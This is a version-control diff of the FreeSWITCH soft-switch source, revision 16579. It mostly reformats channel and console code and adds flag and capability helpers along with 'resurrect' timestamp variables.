* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -173,7 +173,7 @@
}
-SWITCH_DECLARE(void) switch_channel_audio_sync(switch_channel_t *channel)
+SWITCH_DECLARE(void) switch_channel_audio_sync(switch_channel_t *channel)
{
if (switch_channel_media_ready(channel)) {
switch_core_session_message_t msg = { 0 };
@@ -375,9 +375,9 @@
*dtmf = *dt;
if (switch_queue_trypush(channel->dtmf_log_queue, dt) != SWITCH_STATUS_SUCCESS) {
- free(dt);
+ free(dt);
}
-
+
dt = NULL;
if (dtmf->duration > switch_core_max_dtmf_duration(0)) {
@@ -497,7 +497,7 @@
}
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "event_type", "presence");
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "alt_event_type", "dialog");
-
+
if (call_info) {
char *call_info_state = "active";
@@ -528,7 +528,7 @@
}
}
-SWITCH_DECLARE(const char *) switch_channel_get_variable(switch_channel_t *channel, const char *varname)
+SWITCH_DECLARE(const char *) switch_channel_get_variable_dup(switch_channel_t *channel, const char *varname, switch_bool_t dup)
{
const char *v = NULL, *r = NULL;
switch_assert(channel != NULL);
@@ -552,8 +552,13 @@
}
}
- if (v) r = switch_core_session_strdup(channel->session, v);
-
+ if (dup) {
+ if (v)
+ r = switch_core_session_strdup(channel->session, v);
+ } else {
+ r = v;
+ }
+
switch_mutex_unlock(channel->profile_mutex);
return r;
@@ -564,7 +569,7 @@
const char *uuid;
const char *val = NULL, *r = NULL;
switch_assert(channel != NULL);
-
+
if (!zstr(varname)) {
if ((uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE))) {
switch_core_session_t *session;
@@ -576,7 +581,8 @@
}
}
- if (val) r = switch_core_session_strdup(channel->session, val);
+ if (val)
+ r = switch_core_session_strdup(channel->session, val);
return r;
}
@@ -681,7 +687,7 @@
} else {
v = SWITCH_BLANK_STRING;
}
-
+
if (!strcasecmp(name, "dialplan")) {
channel->caller_profile->dialplan = v;
} else if (!strcasecmp(name, "username")) {
@@ -728,11 +734,11 @@
return status;
}
-SWITCH_DECLARE(switch_status_t) switch_channel_set_variable_var_check(switch_channel_t *channel,
+SWITCH_DECLARE(switch_status_t) switch_channel_set_variable_var_check(switch_channel_t *channel,
const char *varname, const char *value, switch_bool_t var_check)
{
switch_status_t status = SWITCH_STATUS_FALSE;
-
+
switch_assert(channel != NULL);
switch_mutex_lock(channel->profile_mutex);
@@ -740,7 +746,7 @@
switch_event_del_header(channel->variables, varname);
if (!zstr(value)) {
int ok = 1;
-
+
if (var_check) {
ok = !switch_string_var_check_const(value);
}
@@ -785,7 +791,7 @@
free(data);
}
switch_mutex_unlock(channel->profile_mutex);
-
+
return status;
}
@@ -804,12 +810,12 @@
va_start(ap, fmt);
ret = switch_vasprintf(&varname, fmt, ap);
va_end(ap);
-
+
if (ret == -1) {
switch_mutex_unlock(channel->profile_mutex);
return SWITCH_STATUS_MEMERR;
}
-
+
status = switch_channel_set_variable(channel, varname, val);
free(varname);
@@ -820,7 +826,7 @@
}
-SWITCH_DECLARE(switch_status_t) switch_channel_set_variable_partner_var_check(switch_channel_t *channel,
+SWITCH_DECLARE(switch_status_t) switch_channel_set_variable_partner_var_check(switch_channel_t *channel,
const char *varname, const char *value, switch_bool_t var_check)
{
const char *uuid;
@@ -843,8 +849,15 @@
SWITCH_DECLARE(uint32_t) switch_channel_test_flag(switch_channel_t *channel, switch_channel_flag_t flag)
{
+ uint32_t r = 0;
+
switch_assert(channel != NULL);
- return channel->flags[flag];
+
+ switch_mutex_lock(channel->flag_mutex);
+ r = channel->flags[flag];
+ switch_mutex_unlock(channel->flag_mutex);
+
+ return r;
}
SWITCH_DECLARE(switch_bool_t) switch_channel_set_flag_partner(switch_channel_t *channel, switch_channel_flag_t flag)
@@ -869,7 +882,7 @@
{
const char *uuid;
int r = 0;
-
+
switch_assert(channel != NULL);
if ((uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE))) {
@@ -910,7 +923,8 @@
state = switch_channel_get_running_state(other_channel);
mystate = switch_channel_get_running_state(channel);
- if (mystate == want_state || state >= CS_HANGUP || mystate >= CS_HANGUP) {
+ if ((channel->state == channel->running_state && channel->running_state == want_state) ||
+ other_channel->state >= CS_HANGUP || channel->state >= CS_HANGUP) {
break;
}
switch_cond_next();
@@ -936,13 +950,11 @@
}
}
-SWITCH_DECLARE(switch_status_t) switch_channel_wait_for_flag(switch_channel_t *channel,
- switch_channel_flag_t want_flag,
- switch_bool_t pres,
- uint32_t to,
- switch_channel_t *super_channel)
+SWITCH_DECLARE(switch_status_t) switch_channel_wait_for_flag(switch_channel_t *channel,
+ switch_channel_flag_t want_flag,
+ switch_bool_t pres, uint32_t to, switch_channel_t *super_channel)
{
-
+
if (to) {
to++;
}
@@ -977,13 +989,13 @@
}
-SWITCH_DECLARE(void) switch_channel_set_cap(switch_channel_t *channel, switch_channel_cap_t cap)
+SWITCH_DECLARE(void) switch_channel_set_cap_value(switch_channel_t *channel, switch_channel_cap_t cap, uint32_t value)
{
switch_assert(channel);
switch_assert(channel->flag_mutex);
switch_mutex_lock(channel->flag_mutex);
- channel->caps[cap] = 1;
+ channel->caps[cap] = value;
switch_mutex_unlock(channel->flag_mutex);
}
@@ -1003,14 +1015,65 @@
return channel->caps[cap] ? 1 : 0;
}
-SWITCH_DECLARE(void) switch_channel_set_flag(switch_channel_t *channel, switch_channel_flag_t flag)
+SWITCH_DECLARE(char *) switch_channel_get_flag_string(switch_channel_t *channel)
{
+ switch_stream_handle_t stream = { 0 };
+ char *r;
+ int i = 0;
+
+ SWITCH_STANDARD_STREAM(stream);
+
+ switch_mutex_lock(channel->flag_mutex);
+ for (i = 0; i < CF_FLAG_MAX; i++) {
+ if (channel->flags[i]) {
+ stream.write_function(&stream, "%d=%d;", i, channel->flags[i]);
+ }
+ }
+ switch_mutex_unlock(channel->flag_mutex);
+
+ r = (char *) stream.data;
+
+ if (end_of(r) == ';') {
+ end_of(r) = '\0';
+ }
+
+ return r;
+
+}
+
+SWITCH_DECLARE(char *) switch_channel_get_cap_string(switch_channel_t *channel)
+{
+ switch_stream_handle_t stream = { 0 };
+ char *r;
+ int i = 0;
+
+ SWITCH_STANDARD_STREAM(stream);
+
+ switch_mutex_lock(channel->flag_mutex);
+ for (i = 0; i < CC_FLAG_MAX; i++) {
+ if (channel->caps[i]) {
+ stream.write_function(&stream, "%d=%d;", i, channel->caps[i]);
+ }
+ }
+ switch_mutex_unlock(channel->flag_mutex);
+
+ r = (char *) stream.data;
+
+ if (end_of(r) == ';') {
+ end_of(r) = '\0';
+ }
+
+ return r;
+
+}
+
+SWITCH_DECLARE(void) switch_channel_set_flag_value(switch_channel_t *channel, switch_channel_flag_t flag, uint32_t value)
+{
switch_assert(channel);
switch_assert(channel->flag_mutex);
switch_mutex_lock(channel->flag_mutex);
-
- channel->flags[flag] = 1;
+ channel->flags[flag] = value;
switch_mutex_unlock(channel->flag_mutex);
if (flag == CF_OUTBOUND) {
@@ -1099,7 +1162,7 @@
switch_mutex_lock(channel->flag_mutex);
channel->flags[flag] = 0;
switch_mutex_unlock(channel->flag_mutex);
-
+
if (flag == CF_OUTBOUND) {
switch_channel_set_variable(channel, "is_outbound", NULL);
}
@@ -1116,6 +1179,7 @@
channel->flags[flag]--;
}
switch_mutex_unlock(channel->flag_mutex);
+
if (flag == CF_OUTBOUND) {
switch_channel_set_variable(channel, "is_outbound", NULL);
}
@@ -1141,20 +1205,24 @@
return state;
}
-SWITCH_DECLARE(int) switch_channel_test_ready(switch_channel_t *channel, switch_bool_t media)
+SWITCH_DECLARE(int) switch_channel_test_ready(switch_channel_t *channel, switch_bool_t check_ready, switch_bool_t check_media)
{
int ret = 0;
switch_assert(channel != NULL);
- if (media) {
- ret = ((switch_channel_test_flag(channel, CF_ANSWERED) ||
- switch_channel_test_flag(channel, CF_EARLY_MEDIA)) && !switch_channel_test_flag(channel, CF_PROXY_MODE) &&
+ if (check_media) {
+ ret = ((switch_channel_test_flag(channel, CF_ANSWERED) ||
+ switch_channel_test_flag(channel, CF_EARLY_MEDIA)) && !switch_channel_test_flag(channel, CF_PROXY_MODE) &&
switch_core_session_get_read_codec(channel->session) && switch_core_session_get_write_codec(channel->session));
- if (!ret) return ret;
+ if (!ret)
+ return ret;
}
-
+
+ if (!check_ready)
+ return ret;
+
ret = 0;
if (!channel->hangup_cause && channel->state > CS_ROUTING && channel->state < CS_HANGUP && channel->state != CS_RESET &&
@@ -1205,11 +1273,12 @@
{
int x;
switch_mutex_lock(channel->state_mutex);
- switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, switch_channel_get_uuid(channel), SWITCH_LOG_DEBUG, "(%s) Running State Change %s\n", channel->name, state_names[state]);
+ switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, switch_channel_get_uuid(channel), SWITCH_LOG_DEBUG, "(%s) Running State Change %s\n",
+ channel->name, state_names[state]);
channel->running_state = state;
if (channel->state_flags[0]) {
- for(x = 1; x < CF_FLAG_MAX ; x++ ) {
+ for (x = 1; x < CF_FLAG_MAX; x++) {
if (channel->state_flags[x]) {
channel->flags[x] = 1;
channel->state_flags[x] = 0;
@@ -1479,10 +1548,10 @@
SWITCH_DECLARE(void) switch_channel_event_set_basic_data(switch_channel_t *channel, switch_event_t *event)
{
switch_caller_profile_t *caller_profile, *originator_caller_profile = NULL, *originatee_caller_profile = NULL;
- switch_codec_implementation_t impl = {0};
+ switch_codec_implementation_t impl = { 0 };
char state_num[25];
const char *v;
-
+
switch_mutex_lock(channel->profile_mutex);
if ((caller_profile = channel->caller_profile)) {
@@ -1495,7 +1564,7 @@
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Channel-State-Number", state_num);
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Channel-Name", switch_channel_get_name(channel));
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Unique-ID", switch_core_session_get_uuid(channel->session));
-
+
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Call-Direction",
channel->direction == SWITCH_CALL_DIRECTION_OUTBOUND ? "outbound" : "inbound");
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Presence-Call-Direction",
@@ -1536,11 +1605,11 @@
if (caller_profile) {
switch_caller_profile_event_set_data(caller_profile, "Caller", event);
}
-
+
if (originator_caller_profile && originatee_caller_profile) {
/* Index Originator's Profile */
switch_caller_profile_event_set_data(originator_caller_profile, "Originator", event);
-
+
/* Index Originatee's Profile */
switch_caller_profile_event_set_data(originatee_caller_profile, "Originatee", event);
} else {
@@ -1561,8 +1630,8 @@
int x;
switch_mutex_lock(channel->profile_mutex);
-
- if (switch_channel_test_flag(channel, CF_VERBOSE_EVENTS) ||
+
+ if (switch_channel_test_flag(channel, CF_VERBOSE_EVENTS) ||
event->event_id == SWITCH_EVENT_CHANNEL_ORIGINATE ||
event->event_id == SWITCH_EVENT_CHANNEL_UUID ||
event->event_id == SWITCH_EVENT_CHANNEL_ANSWER ||
@@ -1580,10 +1649,7 @@
event->event_id == SWITCH_EVENT_SESSION_HEARTBEAT ||
event->event_id == SWITCH_EVENT_API ||
event->event_id == SWITCH_EVENT_RECORD_START ||
- event->event_id == SWITCH_EVENT_RECORD_STOP ||
- event->event_id == SWITCH_EVENT_CALL_UPDATE ||
- event->event_id == SWITCH_EVENT_CUSTOM
- ) {
+ event->event_id == SWITCH_EVENT_RECORD_STOP || event->event_id == SWITCH_EVENT_CALL_UPDATE || event->event_id == SWITCH_EVENT_CUSTOM) {
x = 0;
/* Index Variables */
@@ -1591,7 +1657,7 @@
for (hi = channel->variables->headers; hi; hi = hi->next) {
char buf[1024];
char *vvar = NULL, *vval = NULL;
-
+
vvar = (char *) hi->name;
vval = (char *) hi->value;
x++;
@@ -1648,8 +1714,10 @@
}
}
- caller_profile->times = (switch_channel_timetable_t *) switch_core_session_alloc(channel->session, sizeof(*caller_profile->times));
- caller_profile->times->profile_created = switch_micro_time_now();
+ if (!caller_profile->times) {
+ caller_profile->times = (switch_channel_timetable_t *) switch_core_session_alloc(channel->session, sizeof(*caller_profile->times));
+ caller_profile->times->profile_created = switch_micro_time_now();
+ }
if (channel->caller_profile && channel->caller_profile->times) {
channel->caller_profile->times->transferred = caller_profile->times->profile_created;
@@ -1880,23 +1948,23 @@
switch_mutex_lock(orig_channel->profile_mutex);
switch_mutex_lock(new_channel->profile_mutex);
-
-
+
+
caller_profile = switch_caller_profile_clone(new_channel->session, new_channel->caller_profile);
switch_assert(caller_profile);
extension = switch_caller_extension_new(new_channel->session, caller_profile->destination_number, caller_profile->destination_number);
orig_extension = switch_channel_get_caller_extension(orig_channel);
-
-
+
+
if (extension && orig_extension) {
- for(ap = orig_extension->current_application; ap && offset > 0; offset--) {
+ for (ap = orig_extension->current_application; ap && offset > 0; offset--) {
ap = ap->next;
}
-
+
for (; ap; ap = ap->next) {
switch_caller_extension_add_application(new_channel->session, extension, ap->application_name, ap->application_data);
}
-
+
caller_profile->destination_number = switch_core_strdup(caller_profile->pool, orig_channel->caller_profile->destination_number);
switch_channel_set_caller_profile(new_channel, caller_profile);
switch_channel_set_caller_extension(new_channel, extension);
@@ -1909,9 +1977,10 @@
break;
}
}
-
- if (!ok) continue;
+ if (!ok)
+ continue;
+
switch_channel_set_variable(new_channel, hi->name, hi->value);
}
@@ -1967,7 +2036,7 @@
switch_assert(channel != NULL);
switch_channel_clear_flag(channel, CF_BLOCK_STATE);
-
+
if (channel->state < CS_HANGUP) {
switch_channel_state_t last_state;
switch_event_t *event;
@@ -2005,7 +2074,7 @@
char *app;
switch_event_t *event;
- if (!switch_channel_test_flag(channel, CF_RING_READY) && !switch_channel_test_flag(channel, CF_EARLY_MEDIA &&
+ if (!switch_channel_test_flag(channel, CF_RING_READY) && !switch_channel_test_flag(channel, CF_EARLY_MEDIA &&
!switch_channel_test_flag(channel, CF_ANSWERED))) {
switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, switch_channel_get_uuid(channel), SWITCH_LOG_NOTICE, "Ring-Ready %s!\n", channel->name);
switch_channel_set_flag(channel, CF_RING_READY);
@@ -2066,7 +2135,7 @@
switch_channel_event_set_data(channel, event);
switch_event_fire(&event);
}
-
+
if (channel->caller_profile && channel->caller_profile->times) {
switch_mutex_lock(channel->profile_mutex);
channel->caller_profile->times->progress_media = switch_micro_time_now();
@@ -2085,7 +2154,7 @@
switch_mutex_unlock(channel->profile_mutex);
}
- if (((var = switch_channel_get_variable(channel, SWITCH_CHANNEL_EXECUTE_ON_PRE_ANSWER_VARIABLE)) ||
+ if (((var = switch_channel_get_variable(channel, SWITCH_CHANNEL_EXECUTE_ON_PRE_ANSWER_VARIABLE)) ||
(var = switch_channel_get_variable(channel, SWITCH_CHANNEL_EXECUTE_ON_MEDIA_VARIABLE))) && !zstr(var)) {
char *arg = NULL;
app = switch_core_session_strdup(channel->session, var);
@@ -2167,7 +2236,7 @@
msg.from = channel->name;
status = switch_core_session_perform_receive_message(channel->session, &msg, file, func, line);
}
-
+
if (status == SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, switch_channel_get_uuid(channel), SWITCH_LOG_NOTICE, "Ring Ready %s!\n", channel->name);
} else {
@@ -2236,23 +2305,25 @@
}
switch_channel_set_variable(channel, SWITCH_ENDPOINT_DISPOSITION_VARIABLE, "ANSWER");
- switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, switch_channel_get_uuid(channel), SWITCH_LOG_NOTICE, "Channel [%s] has been answered\n", channel->name);
+ switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, switch_channel_get_uuid(channel), SWITCH_LOG_NOTICE, "Channel [%s] has been answered\n",
+ channel->name);
- if (((var = switch_channel_get_variable(channel, SWITCH_CHANNEL_EXECUTE_ON_ANSWER_VARIABLE)) ||
- (!switch_channel_test_flag(channel, CF_EARLY_MEDIA) && (var = switch_channel_get_variable(channel, SWITCH_CHANNEL_EXECUTE_ON_MEDIA_VARIABLE))))
+ if (((var = switch_channel_get_variable(channel, SWITCH_CHANNEL_EXECUTE_ON_ANSWER_VARIABLE)) ||
+ (!switch_channel_test_flag(channel, CF_EARLY_MEDIA) && (var = switch_channel_get_variable(channel, SWITCH_CHANNEL_EXECUTE_ON_MEDIA_VARIABLE))))
&& !zstr(var)) {
char *arg = NULL;
app = switch_core_session_strdup(channel->session, var);
-
- if ((arg = strchr(app, ':')) && *(arg+1) == ':') {
+
+ if ((arg = strchr(app, ':')) && *(arg + 1) == ':') {
switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(channel), SWITCH_LOG_DEBUG, "%s execute on answer: %s (BROADCAST)\n", channel->name, app);
switch_ivr_broadcast(switch_core_session_get_uuid(channel->session), app, SMF_NONE);
} else {
if ((arg = strchr(app, ' '))) {
*arg++ = '\0';
}
- switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(channel), SWITCH_LOG_DEBUG, "%s execute on answer: %s(%s)\n", channel->name, app, switch_str_nil(arg));
+ switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(channel), SWITCH_LOG_DEBUG, "%s execute on answer: %s(%s)\n", channel->name, app,
+ switch_str_nil(arg));
switch_core_session_execute_application(channel->session, app, arg);
}
}
@@ -2269,8 +2340,8 @@
SWITCH_STANDARD_STREAM(stream);
switch_api_execute(app, arg, NULL, &stream);
- switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(channel), SWITCH_LOG_DEBUG, "%s api on answer: %s(%s)\n%s\n",
- channel->name, app, switch_str_nil(arg), (char *)stream.data);
+ switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(channel), SWITCH_LOG_DEBUG, "%s api on answer: %s(%s)\n%s\n",
+ channel->name, app, switch_str_nil(arg), (char *) stream.data);
free(stream.data);
}
@@ -2295,7 +2366,7 @@
if (switch_channel_test_flag(channel, CF_ANSWERED)) {
return SWITCH_STATUS_SUCCESS;
}
-
+
if (!switch_channel_test_flag(channel, CF_OUTBOUND)) {
msg.message_id = SWITCH_MESSAGE_INDICATE_ANSWER;
msg.from = channel->name;
@@ -2465,7 +2536,7 @@
}
if (offset >= 0) {
- if ((size_t)offset > strlen(sub_val)) {
+ if ((size_t) offset > strlen(sub_val)) {
*sub_val = '\0';
} else {
sub_val += offset;
@@ -2699,7 +2770,7 @@
return status;
}
-SWITCH_DECLARE(switch_core_session_t*) switch_channel_get_session(switch_channel_t *channel)
+SWITCH_DECLARE(switch_core_session_t *) switch_channel_get_session(switch_channel_t *channel)
{
switch_assert(channel);
return channel->session;
@@ -2712,15 +2783,17 @@
switch_caller_profile_t *caller_profile, *ocp;
switch_app_log_t *app_log, *ap;
char *last_app = NULL, *last_arg = NULL;
- char start[80] = "", answer[80] = "", progress[80] = "", progress_media[80] = "", end[80] = "", tmp[80] = "", profile_start[80] = "";
+ char start[80] = "", resurrect[80] = "", answer[80] = "", progress[80] = "", progress_media[80] = "", end[80] = "", tmp[80] = "", profile_start[80] =
+ "";
int32_t duration = 0, legbillsec = 0, billsec = 0, mduration = 0, billmsec = 0, legbillmsec = 0, progressmsec = 0, progress_mediamsec = 0;
int32_t answersec = 0, answermsec = 0;
switch_time_t answerusec = 0;
switch_time_t uduration = 0, legbillusec = 0, billusec = 0, progresssec = 0, progressusec = 0, progress_mediasec = 0, progress_mediausec = 0;
- time_t tt_created = 0, tt_answered = 0, tt_progress = 0, tt_progress_media = 0, tt_hungup = 0, mtt_created = 0, mtt_answered = 0, mtt_hungup =
- 0, tt_prof_created, mtt_prof_created, mtt_progress = 0, mtt_progress_media = 0;
+ time_t tt_created = 0, tt_answered = 0, tt_resurrected = 0,
+ tt_progress = 0, tt_progress_media = 0, tt_hungup = 0, mtt_created = 0, mtt_answered = 0, mtt_resurrected = 0,
+ mtt_hungup = 0, tt_prof_created, mtt_prof_created, mtt_progress = 0, mtt_progress_media = 0;
void *pop;
- char dtstr[SWITCH_DTMF_LOG_LEN+1] = "";
+ char dtstr[SWITCH_DTMF_LOG_LEN + 1] = "";
int x = 0;
switch_mutex_lock(channel->profile_mutex);
@@ -2728,7 +2801,7 @@
if (switch_channel_test_flag(channel, CF_TIMESTAMP_SET)) {
return SWITCH_STATUS_FALSE;
}
-
+
switch_channel_set_flag(channel, CF_TIMESTAMP_SET);
if (!(caller_profile = channel->caller_profile) || !channel->variables) {
@@ -2761,7 +2834,7 @@
dt = NULL;
}
}
-
+
if (x) {
switch_channel_set_variable(channel, "digits_dialed", dtstr);
} else {
@@ -2787,6 +2860,12 @@
switch_channel_set_variable(channel, "answer_stamp", answer);
}
+ if (caller_profile->times->resurrected) {
+ switch_time_exp_lt(&tm, caller_profile->times->resurrected);
+ switch_strftime_nocheck(answer, &retsize, sizeof(resurrect), fmt, &tm);
+ switch_channel_set_variable(channel, "resurrect_stamp", resurrect);
+ }
+
if (caller_profile->times->progress) {
switch_time_exp_lt(&tm, caller_profile->times->progress);
switch_strftime_nocheck(progress, &retsize, sizeof(progress), fmt, &tm);
@@ -2824,6 +2903,13 @@
switch_snprintf(tmp, sizeof(tmp), "%" SWITCH_TIME_T_FMT, caller_profile->times->answered);
switch_channel_set_variable(channel, "answer_uepoch", tmp);
+ tt_resurrected = (time_t) (caller_profile->times->resurrected / 1000000);
+ mtt_resurrected = (time_t) (caller_profile->times->resurrected / 1000);
+ switch_snprintf(tmp, sizeof(tmp), "%" TIME_T_FMT, tt_resurrected);
+ switch_channel_set_variable(channel, "resurrect_epoch", tmp);
+ switch_snprintf(tmp, sizeof(tmp), "%" SWITCH_TIME_T_FMT, caller_profile->times->resurrected);
+ switch_channel_set_variable(channel, "resurrect_uepoch", tmp);
+
tt_progress = (time_t) (caller_profile->times->progress / 1000000);
mtt_progress = (time_t) (caller_profile->times->progress / 1000);
switch_snprintf(tmp, sizeof(tmp), "%" TIME_T_FMT, tt_progress);
@@ -2913,7 +2999,7 @@
switch_snprintf(tmp, sizeof(tmp), "%d", answermsec);
switch_channel_set_variable(channel, "answermsec", tmp);
- switch_snprintf(tmp, sizeof(tmp), "%d" , progressmsec);
+ switch_snprintf(tmp, sizeof(tmp), "%d", progressmsec);
switch_channel_set_variable(channel, "progress_mediamsec", tmp);
switch_snprintf(tmp, sizeof(tmp), "%d", legbillmsec);
@@ -2936,7 +3022,7 @@
switch_snprintf(tmp, sizeof(tmp), "%" SWITCH_TIME_T_FMT, legbillusec);
switch_channel_set_variable(channel, "flow_billusec", tmp);
-
+
switch_mutex_unlock(channel->profile_mutex);
return status;
Modified: freeswitch/trunk/src/switch_config.c (16578 => 16579)
--- freeswitch/trunk/src/switch_config.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_config.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
Modified: freeswitch/trunk/src/switch_console.c (16578 => 16579)
--- freeswitch/trunk/src/switch_console.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_console.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -68,7 +68,7 @@
#define KEY_INSERT 8
#define PROMPT_OP 9
-static int console_bufferInput (char* buf, int len, char *cmd, int key);
+static int console_bufferInput(char *buf, int len, char *cmd, int key);
#endif
#endif
@@ -123,7 +123,7 @@
SWITCH_DECLARE_NONSTD(switch_status_t) switch_console_stream_raw_write(switch_stream_handle_t *handle, uint8_t *data, switch_size_t datalen)
{
switch_size_t need = handle->data_len + datalen;
-
+
if (need >= handle->data_size) {
void *new_data;
need += handle->alloc_chunk;
@@ -139,7 +139,7 @@
memcpy((uint8_t *) (handle->data) + handle->data_len, data, datalen);
handle->data_len += datalen;
handle->end = (uint8_t *) (handle->data) + handle->data_len;
- *(uint8_t *)handle->end = '\0';
+ *(uint8_t *) handle->end = '\0';
return SWITCH_STATUS_SUCCESS;
}
@@ -205,12 +205,12 @@
char *dpath = NULL;
int fd;
switch_status_t status = SWITCH_STATUS_FALSE;
-
+
if (!switch_is_file_path(path)) {
dpath = switch_mprintf("%s%s%s", SWITCH_GLOBAL_dirs.conf_dir, SWITCH_PATH_SEPARATOR, path);
path = dpath;
}
-
+
if ((fd = open(path, O_RDONLY)) > -1) {
char buf[2048] = { 0 };
while (switch_fd_read_line(fd, buf, sizeof(buf))) {
@@ -219,7 +219,7 @@
close(fd);
status = SWITCH_STATUS_SUCCESS;
}
-
+
switch_safe_free(dpath);
return status;
}
@@ -296,11 +296,12 @@
}
-static int switch_console_process(char *xcmd) {
+static int switch_console_process(char *xcmd)
+{
switch_stream_handle_t stream = { 0 };
switch_status_t status;
FILE *handle = switch_core_get_console();
-
+
SWITCH_STANDARD_STREAM(stream);
switch_assert(stream.data);
@@ -321,7 +322,7 @@
switch_safe_free(stream.data);
return 1;
-
+
}
@@ -338,7 +339,7 @@
switch_status_t status = SWITCH_STATUS_FALSE;
-
+
if (rec > 100) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Too much recursion!\n");
goto end;
@@ -369,10 +370,10 @@
}
- status = switch_api_execute(cmd, arg, NULL, istream);
+ status = switch_api_execute(cmd, arg, NULL, istream);
}
- end:
+ end:
switch_safe_free(dup);
@@ -453,24 +454,31 @@
char *target = NULL, *str = NULL, *cur = NULL;
switch_size_t x, y, i;
-
- if (argc > 0) target = argv[0];
- if (argc > 1) str = argv[1];
- if (argc > 2) cur = argv[2];
+ if (argc > 0)
+ target = argv[0];
+ if (argc > 1)
+ str = argv[1];
+ if (argc > 2)
+ cur = argv[2];
+
if (cur) {
- while (*cur == ' ') cur++;
+ while (*cur == ' ')
+ cur++;
}
- if (zstr(cur)) cur = NULL;
- if (zstr(str)) str = NULL;
+ if (zstr(cur))
+ cur = NULL;
+ if (zstr(str))
+ str = NULL;
if (!target) {
return -1;
}
- if (!zstr(target) && *target == ':' && *(target+1) == ':') {
- char *r_argv[1] = { 0 }, *r_cols[1] = { 0 };
+ if (!zstr(target) && *target == ':' && *(target + 1) == ':') {
+ char *r_argv[1] = { 0 }, *r_cols[1] = {
+ 0};
switch_console_callback_match_t *matches;
if (switch_console_run_complete_func(target, str, cur, &matches) == SWITCH_STATUS_SUCCESS) {
switch_console_callback_match_node_t *m;
@@ -499,17 +507,17 @@
switch_copy_string(h->last, target, sizeof(h->last));
h->hits++;
}
-
+
x = strlen(h->last);
y = strlen(h->partial);
if (h->hits > 1) {
- for(i = 0; i < x && i < y; i++) {
+ for (i = 0; i < x && i < y; i++) {
if (h->last[i] != h->partial[i]) {
h->partial[i] = '\0';
break;
}
- }
+ }
} else if (h->hits == 1) {
switch_copy_string(h->partial, target, sizeof(h->last));
}
@@ -554,15 +562,14 @@
switch_cache_db_handle_t *db = NULL;
switch_status_t status = SWITCH_STATUS_FALSE;
char *errmsg;
-
+
switch_core_db_handle(&db);
if (!zstr(cursor)) {
- sql = switch_mprintf("select distinct uuid from channels where uuid like '%q%%' and hostname='%q' order by uuid",
+ sql = switch_mprintf("select distinct uuid from channels where uuid like '%q%%' and hostname='%q' order by uuid",
cursor, switch_core_get_variable("hostname"));
} else {
- sql = switch_mprintf("select distinct uuid from channels where hostname='%q' order by uuid",
- switch_core_get_variable("hostname"));
+ sql = switch_mprintf("select distinct uuid from channels where hostname='%q' order by uuid", switch_core_get_variable("hostname"));
}
switch_cache_db_execute_sql_callback(db, sql, uuid_callback, &h, &errmsg);
@@ -580,7 +587,7 @@
}
-SWITCH_DECLARE(unsigned char) switch_console_complete(const char *line, const char *cursor, FILE *console_out,
+SWITCH_DECLARE(unsigned char) switch_console_complete(const char *line, const char *cursor, FILE * console_out,
switch_stream_handle_t *stream, switch_xml_t xml)
{
switch_cache_db_handle_t *db = NULL;
@@ -593,7 +600,7 @@
unsigned char ret = CC_REDISPLAY;
int pos = 0;
int sc = 0;
-
+
#ifndef SWITCH_HAVE_LIBEDIT
#ifndef _MSC_VER
if (!stream) {
@@ -603,11 +610,11 @@
#endif
switch_core_db_handle(&db);
-
+
if (!zstr(cursor) && !zstr(line)) {
pos = (cursor - line);
}
-
+
h.out = console_out;
h.stream = stream;
h.xml = xml;
@@ -631,11 +638,11 @@
el_deletestr(el, sc);
}
#endif
- }
+ }
sc = 0;
p = end_of_p(buf);
- while(p >= buf && *p == ' ') {
+ while (p >= buf && *p == ' ') {
sc++;
p--;
}
@@ -653,17 +660,19 @@
if (*p == ' ') {
lp = p;
h.words++;
- while(*p == ' ') p++;
- if (!*p) break;
+ while (*p == ' ')
+ p++;
+ if (!*p)
+ break;
}
}
-
+
if (lp) {
buf = lp + 1;
}
h.len = strlen(buf);
-
+
if (h.out) {
fprintf(h.out, "\n\n");
}
@@ -675,10 +684,10 @@
if (h.words == 0) {
- sql = switch_mprintf("select distinct name from interfaces where type='api' and name like '%q%%' and hostname='%q' order by name",
+ sql = switch_mprintf("select distinct name from interfaces where type='api' and name like '%q%%' and hostname='%q' order by name",
